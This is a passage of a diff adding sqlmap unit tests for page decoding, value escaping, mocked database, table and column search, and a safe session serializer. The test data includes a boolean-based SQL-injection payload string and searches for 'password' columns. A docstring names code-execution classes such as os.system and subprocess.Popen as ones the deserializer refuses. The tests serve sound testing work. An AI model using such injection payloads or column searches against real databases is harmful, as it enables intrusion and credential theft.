+ self.assertEqual(getHeuristicCharEncoding(b""), "ascii") + + def test_cache_hit_returns_same(self): + from lib.request.basic import getHeuristicCharEncoding + page = b"hello world" + first = getHeuristicCharEncoding(page) + # second call for identical page must come back identical (and from cache) + self.assertEqual(getHeuristicCharEncoding(page), first) + key = (len(page), hash(page)) + self.assertEqual(kb.cache.encoding.get(key), first) + + +class TestBasicDecodePage(unittest.TestCase): + """decodePage charset + HTML-entity decoding branches.""" + + def setUp(self): + self._old_encoding = conf.encoding + self._old_null = conf.nullConnection + conf.nullConnection = False + + def tearDown(self): + conf.encoding = self._old_encoding + conf.nullConnection = self._old_null + + def test_html_entity_amp(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual( + getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")), + "foo&bar", + ) + + def test_numeric_hex_entity_tab(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b" ", None, "text/html; charset=utf-8")), "\t") + + def test_numeric_hex_entity_letter(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b"J", None, "text/html; charset=utf-8")), "J") + + def test_unicode_entity(self): + from lib.request.basic import decodePage + conf.encoding = None + self.assertEqual(decodePage(b"™", None, "text/html; charset=utf-8"), u"\u2122") + + def test_empty_page(self): + from lib.request.basic import decodePage + from lib.core.common import getText + # empty page short-circuits to getUnicode(page) + self.assertEqual(getText(decodePage(b"", None, "text/html")), "") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_safe2bin.py b/tests/test_safe2bin.py new file mode 100644 index 00000000000..609ccc41b9a --- /dev/null +++ b/tests/test_safe2bin.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +safecharencode / safechardecode (lib/utils/safe2bin.py). + +These make extracted DB values safe to print/store by escaping control and +non-printable characters (tab -> \\t, NUL -> \\x00, ...) and back. They are +applied to dumped data and to values written through the replication writer, +so the escape<->unescape round-trip must be exact. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.safe2bin import safecharencode, safechardecode + +RND = random.Random(99) + + +class TestKnownEscapes(unittest.TestCase): + CASES = [ + (u"normal", u"normal"), + (u"tab\there", u"tab\\there"), + (u"new\nline", u"new\\nline"), + (u"nul\x00byte", u"nul\\x00byte"), + ] + + def test_encode(self): + for raw, encoded in self.CASES: + self.assertEqual(safecharencode(raw), encoded, msg="safecharencode(%r)" % raw) + + def test_plain_text_unchanged(self): + for s in (u"plain", u"abc 123", u"semi;colon", u"a,b,c"): + self.assertEqual(safecharencode(s), s, msg="plain text altered: %r" % s) + + +class TestRoundTrip(unittest.TestCase): + def test_known_roundtrip(self): + for raw, _ in TestKnownEscapes.CASES: + self.assertEqual(safechardecode(safecharencode(raw)), raw, msg="round-trip %r" % raw) + + def test_property_roundtrip(self): + # mix printable + control/non-printable code points + pool = u"abc 123" + u"".join(chr(c) for c in (0, 1, 7, 9, 10, 13, 27, 127)) + for _ in range(2000): + s = u"".join(RND.choice(pool) for _ in range(RND.randint(0, 24))) + self.assertEqual(safechardecode(safecharencode(s)), s, msg="round-trip failed for %r" % s) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_search_enum.py b/tests/test_search_enum.py new file mode 100644 index 00000000000..66b3b850a5c --- /dev/null +++ b/tests/test_search_enum.py @@ -0,0 +1,554 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for plugins/generic/search.py (Search), exercising searchDb / +searchTable / searchColumn by MOCKING the injection layer +(lib.request.inject.getValue) and the dumper. + +No network and no DBMS are involved: conf.direct=True selects the simple inband +branches (TestSearch), or conf.direct=False with a BOOLEAN injection state selects +the inference branches (TestSearchInference); inject.getValue is patched to return +canned rows in the exact shape the methods parse, and conf.dumper is replaced with +a recording stub so we can assert on what each method produced. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.search as smod +import plugins.generic.entries as emod +from plugins.generic.search import Search + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +class _RecordingDumper(object): + """Minimal stand-in for conf.dumper that records calls instead of printing/writing.""" + + def __init__(self): + self.reset() + + def reset(self): + self.listed = [] # (header, elements) + self.dbTablesArg = None + self.dbColumnsArg = None + self.dbTableColumnsArg = None + self.tableValues = [] + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + def dbTableColumns(self, tableColumns, content_type=None): + self.dbTableColumnsArg = tableColumns + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestSearch(Search): + """Search with the cross-mixin collaborators it relies on stubbed out. + + The real Search lives in a multiple-inheritance hierarchy; in isolation we + must supply likeOrExact/forceDbmsEnum/getCurrentDb/getColumns/dumpFoundTables/ + excludeDbsList, mirroring the inputs the production mixins would provide. + """ + + excludeDbsList = ["information_schema", "mysql"] + + def __init__(self): + Search.__init__(self) + self.like = ('1', " LIKE '%%%s%%'") + self.dumpFoundTablesCalls = [] + self.dumpFoundColumnCalls = [] + self.getColumnsCalls = [] + self._cannedColumns = {} + + def likeOrExact(self, what): + return self.like + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def dumpFoundTables(self, tables): + self.dumpFoundTablesCalls.append(tables) + + def dumpFoundColumn(self, dbs, foundCols, colConsider): + self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + # Emulate column discovery by populating kb.data.cachedColumns for the + # currently-targeted conf.db/conf.tbl/conf.col, as the real plugin does. + self.getColumnsCalls.append((conf.db, conf.tbl, conf.col)) + db, tbl, col = conf.db, conf.tbl, conf.col + if db and tbl: + kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) + kb.data.cachedColumns[db][tbl][col] = "varchar" + + +class _SearchEnumBase(unittest.TestCase): + def setUp(self): + # Save mutated globals + self._saved_conf = {k: conf.get(k) for k in ( + "db", "tbl", "col", "direct", "excludeSysDbs", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", + )} + self._saved_dumper = conf.get("dumper") + self._search_getValue = smod.inject.getValue + self._entries_getValue = emod.inject.getValue + self._search_readInput = smod.readInput + self._entries_readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + + set_dbms("MySQL") + conf.direct = True + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumper = _RecordingDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + # Non-interactive prompts: collapse readInput to its default. + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return True if (default in (None, 'Y', 'y', True)) else False + return default + smod.readInput = _readInput + emod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._search_getValue + emod.inject.getValue = self._entries_getValue + smod.readInput = self._search_readInput + emod.readInput = self._entries_readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + + +class TestSearch(_SearchEnumBase): + # --- searchDb ----------------------------------------------------------- + + def test_search_db_found(self): + s = _TestSearch() + conf.db = "testdb" + # Feed identifiers that REQUIRE normalization: "select" is a reserved + # keyword and "weird db" contains a space; both force MySQL backtick + # quoting via safeSQLIdentificatorNaming. The plain "testdb" passes + # through unchanged. Asserting the quoted output proves the transform ran + # (a mock-echo would surface the raw, unquoted inputs instead). + smod.inject.getValue = lambda *a, **k: ["select", "weird db", "testdb"] + + s.searchDb() + + self.assertEqual(conf.dumper.listed[-1][0], "found databases") + self.assertEqual(conf.dumper.listed[-1][1], ["`select`", "`weird db`", "testdb"]) + + def test_search_db_multiple_terms(self): + s = _TestSearch() + conf.db = "foo,bar" + + # Return a DISTINCT value per search term by keying off the query string: + # each term is folded into the generated query (search_db inband query), + # so "foo" vs "bar" produce different queries. This proves the method + # actually iterates over both terms and records the right match for each, + # rather than appending the same constant twice. + def gv(query, *a, **k): + if "foo" in query: + return "foo_db" + elif "bar" in query: + return "bar_db" + return None + + smod.inject.getValue = gv + s.searchDb() + # Two search terms => one distinct value found per term, in order. + self.assertEqual(conf.dumper.listed[-1][1], ["foo_db", "bar_db"]) + + def test_search_db_none_value(self): + s = _TestSearch() + conf.db = "nope" + smod.inject.getValue = lambda *a, **k: None + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][1], []) + + def test_search_db_exclude_sys_dbs(self): + s = _TestSearch() + conf.db = "testdb" + conf.excludeSysDbs = True + seen = {} + + def gv(query, *a, **k): + seen["query"] = query + return ["testdb"] + smod.inject.getValue = gv + + s.searchDb() + # The exclusion clause for each system DB must be folded into the query. + self.assertIn("information_schema", seen["query"]) + self.assertEqual(conf.dumper.listed[-1][1], ["testdb"]) + + # --- searchTable -------------------------------------------------------- + + def test_search_table_found_grouped_by_db(self): + s = _TestSearch() + conf.tbl = "users" + conf.db = None + smod.inject.getValue = lambda *a, **k: [["testdb", "users"], ["otherdb", "users"]] + + s.searchTable() + + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"], "otherdb": ["users"]}) + # dumpFoundTables is invoked with the same mapping. + self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"], "otherdb": ["users"]}) + + def test_search_table_with_db_filter(self): + s = _TestSearch() + conf.tbl = "users" + conf.db = "testdb" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["testdb", "users"]] + smod.inject.getValue = gv + + s.searchTable() + # conf.db present => a WHERE clause restricting to that db is appended. + self.assertIn("testdb", captured["query"]) + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) + + def test_search_table_none_found(self): + s = _TestSearch() + conf.tbl = "ghost" + conf.db = None + smod.inject.getValue = lambda *a, **k: None + s.searchTable() + # No tables => dbTables/dumpFoundTables never called. + self.assertIsNone(conf.dumper.dbTablesArg) + self.assertEqual(s.dumpFoundTablesCalls, []) + + # --- searchColumn ------------------------------------------------------- + + def test_search_column_db_and_tbl_provided(self): + s = _TestSearch() + conf.col = "password" + conf.db = "testdb" + conf.tbl = "users" + # With both db & tbl set, searchColumn does NOT call inject for table + # discovery; it assumes the provided db/tbl and calls getColumns. + smod.inject.getValue = lambda *a, **k: self.fail("getValue should not be called") + + s.searchColumn() + + self.assertEqual(conf.dumper.dbColumnsArg[1], '1') # colConsider + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + self.assertIn("password", dbs["testdb"]["users"]) + self.assertEqual(s.dumpFoundColumnCalls[-1][2], '1') + # getColumns was consulted for the assumed db/tbl/col. + self.assertIn(("testdb", "users", "password"), s.getColumnsCalls) + + def test_search_column_enumerate_tables(self): + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + # db & tbl missing => inject returns (db, table) pairs to scan. + smod.inject.getValue = lambda *a, **k: [["testdb", "users"]] + + s.searchColumn() + + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + # The requested column must have actually landed under the discovered + # db/table (getColumns populated kb.data.cachedColumns, which searchColumn + # folds into dbs); db/table presence alone wouldn't prove that. + self.assertIn("password", dbs["testdb"]["users"]) + + def test_search_column_none_found(self): + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + smod.inject.getValue = lambda *a, **k: None + s.searchColumn() + # Nothing discovered => dumper.dbColumns not called. + self.assertIsNone(conf.dumper.dbColumnsArg) + + # --- search() dispatcher ------------------------------------------------ + + def test_search_dispatch_to_column(self): + s = _TestSearch() + conf.col = "password" + conf.tbl = "users" + conf.db = "testdb" + smod.inject.getValue = lambda *a, **k: None + # Should route to searchColumn (col takes precedence). With db & tbl both + # provided, searchColumn assumes them and consults getColumns for the + # requested db/tbl/col -> at least one recorded call, matching the request. + s.search() + self.assertGreaterEqual(len(s.getColumnsCalls), 1) + self.assertIn(("testdb", "users", "password"), s.getColumnsCalls) + + def test_search_dispatch_missing_param(self): + s = _TestSearch() + conf.col = None + conf.tbl = None + conf.db = None + from lib.core.exception import SqlmapMissingMandatoryOptionException + self.assertRaises(SqlmapMissingMandatoryOptionException, s.search) + + +# --------------------------------------------------------------------------- # +# search.py - inference (blind) paths +# --------------------------------------------------------------------------- # + +class _TestSearchInf(Search): + excludeDbsList = ["information_schema", "mysql"] + + def __init__(self): + Search.__init__(self) + self.like = ('2', "='%s'") # exact match (colConsider '2') + self.dumpFoundTablesCalls = [] + self.dumpFoundColumnCalls = [] + + def likeOrExact(self, what): + return self.like + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def dumpFoundTables(self, tables): + self.dumpFoundTablesCalls.append(tables) + + def dumpFoundColumn(self, dbs, foundCols, colConsider): + self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + db, tbl, col = conf.db, conf.tbl, conf.col + if db and tbl: + kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) + kb.data.cachedColumns[db][tbl][col] = "varchar" + + +class _RecDumper(object): + def __init__(self): + self.listed = [] + self.dbTablesArg = None + self.dbColumnsArg = None + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + +class _SearchBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "excludeSysDbs", + "exclude", "search") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = smod.inject.getValue + self._readInput = smod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_hintValue = kb.get("hintValue") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.dumper = _RecDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._gv + smod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.hintValue = self._saved_hintValue + kb.injection.data = self._saved_injection_data + + +class TestSearchInference(_SearchBase): + def test_search_db_inference(self): + # Blind searchDb: count of matching dbs, then one db name per index. + s = _TestSearchInf() + conf.db = "testdb" + smod.inject.getValue = _inference_gv(2, ["testdb", "testdb2"]) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][0], "found databases") + self.assertEqual(sorted(conf.dumper.listed[-1][1]), ["testdb", "testdb2"]) + + def test_search_db_inference_no_match(self): + # Count fails (non-numeric) => no databases appended, empty listing. + s = _TestSearchInf() + conf.db = "ghost" + smod.inject.getValue = lambda query, *a, **k: (None if k.get("expected") == EXPECTED.INT else self.fail("must not page when count fails")) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][1], []) + + def test_search_table_inference_grouped(self): + # Blind searchTable, no conf.db: outer count of dbs holding the table, then + # per-db a name, then per-db a count of matching tables, then table names. + s = _TestSearchInf() + conf.tbl = "users" + conf.db = None + + # Sequencing by the EXPECTED.INT counts + the per-index string results. + # 1st count: number of databases with the table -> 1 + # 1st db name -> "testdb" + # 2nd count: number of tables in testdb -> 1 + # table name -> "users" + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchTable() + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) + self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"]}) + + def test_search_table_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 forces the bruteforce path; declining the prompt returns None + # without any injection. + s = _TestSearchInf() + conf.tbl = "users" + conf.db = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + self.assertIsNone(s.searchTable()) + + def test_search_column_inference(self): + # Blind searchColumn, no db/tbl: count of dbs with the column, then db name; + # then per-db count of tables with the column, then table name -> getColumns + # folds the column into dbs. + s = _TestSearchInf() + conf.col = "password" + conf.db = None + conf.tbl = None + + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchColumn() + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + self.assertIn("password", dbs["testdb"]["users"]) + + def test_search_column_mysql_lt5_bruteforce_decline(self): + s = _TestSearchInf() + conf.col = "password" + conf.db = None + conf.tbl = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + # Declining returns None and never reaches dbColumns. + self.assertIsNone(s.searchColumn()) + self.assertIsNone(conf.dumper.dbColumnsArg) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_serialize.py b/tests/test_serialize.py new file mode 100644 index 00000000000..fb7b72bcb71 --- /dev/null +++ b/tests/test_serialize.py @@ -0,0 +1,462 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Exhaustive lock on the safe (JSON-based, no code execution) serializer that backs the +session store (HashDB) and BigArray disk chunks - the replacement for the former +code-executing serializer. + +Two properties must hold forever, on BOTH Python 2.7 and 3.x: + + 1. CORRECTNESS - every value sqlmap actually persists must round-trip losslessly, with + its exact type. The historically fragile cases are covered explicitly: integer/tuple + dict keys (naive JSON turns them into strings), tuple-vs-list, set/frozenset, bytes, + the AttribDict/InjectionDict/RawPair classes and their internal state, and the native + DB-driver scalars (Decimal/datetime/...) that '-d' direct-mode output can contain. + A regression here silently corrupts a user's saved session. + + 2. SECURITY - deserialization must NEVER execute code and must reconstruct ONLY the small + explicit class allowlist. Any other class name (os.system, subprocess.Popen, eval, + lib.core.common.shellExec, ...) must be refused with a "forbidden" ValueError, and a + crafted legacy payload must fail inertly (no side effects). + +Kept deliberately verbose - each case maps to a real session/BigArray value or a real report. +""" + +import datetime +import decimal +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray +from lib.core.convert import deserializeValue, encodeBase64, getUnicode, serializeValue +from lib.core.convert import _SERIALIZE_TAG +from lib.core.datatype import AttribDict, InjectionDict, LRUDict +from lib.utils.har import RawPair +from thirdparty import six + +INTS = six.integer_types +_unichr = six.unichr + + +def rt(value): + """Full session round-trip: value -> JSON text -> value.""" + return deserializeValue(serializeValue(value)) + + +def _import_all_modules(): + """Import every sqlmap module (like --smoke-test) so class-subclass reflection sees them all.""" + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for base in ("lib", "plugins", "tamper"): + for dirpath, _, filenames in os.walk(os.path.join(root, base)): + if any(skip in dirpath for skip in ("thirdparty", "extra", "tests", "__pycache__")): + continue + for filename in filenames: + if filename.endswith(".py") and filename not in ("__init__.py", "gui.py"): + dotted = os.path.join(dirpath, filename[:-3]).replace(root + os.sep, "").replace(os.sep, ".") + try: + __import__(dotted) + except Exception: + pass # import health is --smoke-test's job; here we only need the classes that DO load + + +def _all_subclasses(cls): + for sub in cls.__subclasses__(): + yield sub + for _ in _all_subclasses(sub): + yield _ + + +class TestScalars(unittest.TestCase): + def test_simple(self): + for value in [None, True, False, 0, 1, -1, 42, 3.14, -0.5, 0.0]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored) is bool, type(value) is bool) # bool never collapses to int + + def test_big_ints(self): + for value in [2 ** 64, 2 ** 200, -(2 ** 128)]: + self.assertEqual(rt(value), value) + + def test_text(self): + # empty, ascii, non-BMP, sqlmap's reversible-codec private-use-area char, control chars + for value in [u"", u"plain", _unichr(0x2299) + u" mid " + _unichr(0xFF), + _unichr(0x1F600) if sys.maxunicode > 0xFFFF else u"x", + _unichr(0xF0055), u"tab\tnewline\nquote\"backslash\\"]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, six.text_type) + + +class TestBinary(unittest.TestCase): + def test_bytes(self): + for value in [b"", b"abc", b"\x00\x01\x02\xff\xfe", bytes(bytearray(range(256)))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytes) + + def test_bytearray(self): + value = bytearray(b"\x00binary\xff") + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytearray) + + def test_memoryview(self): + # some drivers (e.g. psycopg2 on py3) return memoryview for BLOB columns + restored = rt(memoryview(b"\x00\x01blob")) + self.assertEqual(bytes(restored) if isinstance(restored, (bytearray, memoryview)) else restored, b"\x00\x01blob") + + +class TestContainers(unittest.TestCase): + def test_list_nested(self): + value = [1, [2, [3, [4]]], "x", None] + self.assertEqual(rt(value), value) + + def test_tuple_preserved(self): + for value in [(), (1,), (1, 2, "x"), ((1, 2), (3,))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, tuple) # must NOT degrade to list + + def test_tuple_not_confused_with_list(self): + restored = rt([(1, 2), [1, 2]]) + self.assertIsInstance(restored[0], tuple) + self.assertIsInstance(restored[1], list) + + def test_set_and_frozenset(self): + for value in [set(), {1, 2, 3}, {u"a", u"b"}]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, set) + fs = frozenset([1, 2]) + restored = rt(fs) + self.assertEqual(restored, fs) + self.assertIsInstance(restored, frozenset) + + +class TestDicts(unittest.TestCase): + def test_string_keys(self): + value = {u"a": 1, u"b": {u"c": [1, 2]}} + self.assertEqual(rt(value), value) + + def test_int_keys_preserved(self): + # THE landmine: naive json.dumps turns {1: ...} into {"1": ...}; injection.data is int-keyed + restored = rt({1: u"one", 2: u"two", 100: u"hundred"}) + self.assertEqual(restored, {1: u"one", 2: u"two", 100: u"hundred"}) + self.assertTrue(all(isinstance(k, INTS) for k in restored), list(restored)) + + def test_tuple_and_mixed_keys(self): + value = {(1, 2): u"tuple-key", u"s": 1, 7: u"int-key"} + restored = rt(value) + self.assertEqual(restored, value) + self.assertIn((1, 2), restored) + self.assertTrue(any(isinstance(k, INTS) and not isinstance(k, bool) for k in restored)) + + def test_empty_dict(self): + self.assertEqual(rt({}), {}) + + +class TestSqlmapTypes(unittest.TestCase): + def test_attribdict(self): + value = AttribDict() + value.foo = u"bar" + value["n"] = {u"k": [1, (2, 3)]} + restored = rt(value) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.foo, u"bar") + self.assertEqual(restored["n"], {u"k": [1, (2, 3)]}) + + def test_attribdict_keycheck_flag_preserved(self): + strict = AttribDict(keycheck=True) + lax = AttribDict(keycheck=False) + self.assertTrue(rt(strict).__dict__.get("_keycheck")) + self.assertFalse(rt(lax).__dict__.get("_keycheck")) + # a lax AttribDict returns None for a missing attribute instead of raising - behaviour must survive + self.assertIsNone(rt(lax).nonexistent_attribute) + + def test_injectiondict_full(self): + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.ptype = 1 + inj.prefix = "" + inj.suffix = "" + inj.dbms = "MySQL" + inj.notes = ["note1"] + # int-keyed .data (PAYLOAD.TECHNIQUE.* are ints), each a nested AttribDict + for stype in (1, 5): + data = AttribDict() + data.title = "technique %d" % stype + data.payload = u"id=1 AND %d=%d" % (stype, stype) + data.where = 1 + data.vector = None + data.matchRatio = 0.987 + data.trueCode = 200 + data.falseCode = 500 + inj.data[stype] = data + inj.conf = AttribDict() + inj.conf.textOnly = False + + restored = rt([inj])[0] + self.assertIsInstance(restored, InjectionDict) + self.assertEqual(restored.place, "GET") + self.assertEqual(restored.parameter, "id") + self.assertEqual(restored.notes, ["note1"]) + self.assertEqual(set(restored.data.keys()), set((1, 5))) + self.assertTrue(all(isinstance(k, INTS) for k in restored.data), list(restored.data)) + self.assertIsInstance(restored.data[1], AttribDict) + self.assertEqual(restored.data[1].title, "technique 1") + self.assertEqual(restored.data[1].matchRatio, 0.987) + self.assertIsNone(restored.data[1].vector) + self.assertIsInstance(restored.conf, AttribDict) + self.assertFalse(restored.conf.textOnly) + + def test_bigarray_type_preserved(self): + # BigArray is a list subclass; it must round-trip AS a BigArray, not degrade to a plain list + restored = rt(BigArray([1, 2, (3, 4), u"x"])) + self.assertIsInstance(restored, BigArray) + self.assertEqual(list(restored), [1, 2, (3, 4), u"x"]) + + def test_rawpair(self): + # the class stored in a BigArray by the HAR collector + pair = RawPair(b"GET / HTTP/1.1", b"HTTP/1.1 200 OK", startTime=1.5, endTime=2.5, extendedArguments={u"k": u"v"}) + restored = rt(pair) + self.assertIsInstance(restored, RawPair) + self.assertEqual(restored.request, b"GET / HTTP/1.1") + self.assertEqual(restored.response, b"HTTP/1.1 200 OK") + self.assertEqual(restored.startTime, 1.5) + self.assertEqual(restored.extendedArguments, {u"k": u"v"}) + + +class TestDbmsScalars(unittest.TestCase): + # '-d' direct-mode query output (and dump BigArray) can hold native driver types + def test_decimal(self): + for value in [decimal.Decimal("0"), decimal.Decimal("1.50"), decimal.Decimal("-0.0001"), decimal.Decimal("123456789.987654321")]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, decimal.Decimal) + + def test_datetime_family(self): + cases = [ + datetime.datetime(2024, 1, 2, 3, 4, 5, 6), + datetime.datetime(1970, 1, 1, 0, 0, 0), + datetime.date(1999, 12, 31), + datetime.time(23, 59, 58, 123456), + datetime.timedelta(days=3, seconds=7, microseconds=9), + datetime.timedelta(0), + ] + for value in cases: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored), type(value)) + + +class TestRealSessionObjects(unittest.TestCase): + # the exact shapes written with serialize=True across the codebase + def test_brute_tables_columns(self): + tables = [("mydb", "users"), ("mydb", "logs")] + columns = [("mydb", "users", "id", "numeric"), ("mydb", "users", "name", "non-numeric")] + self.assertEqual(rt(tables), tables) + self.assertEqual(rt(columns), columns) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(tables))) + + def test_dynamic_markings(self): + markings = [(u"", None), (None, u"

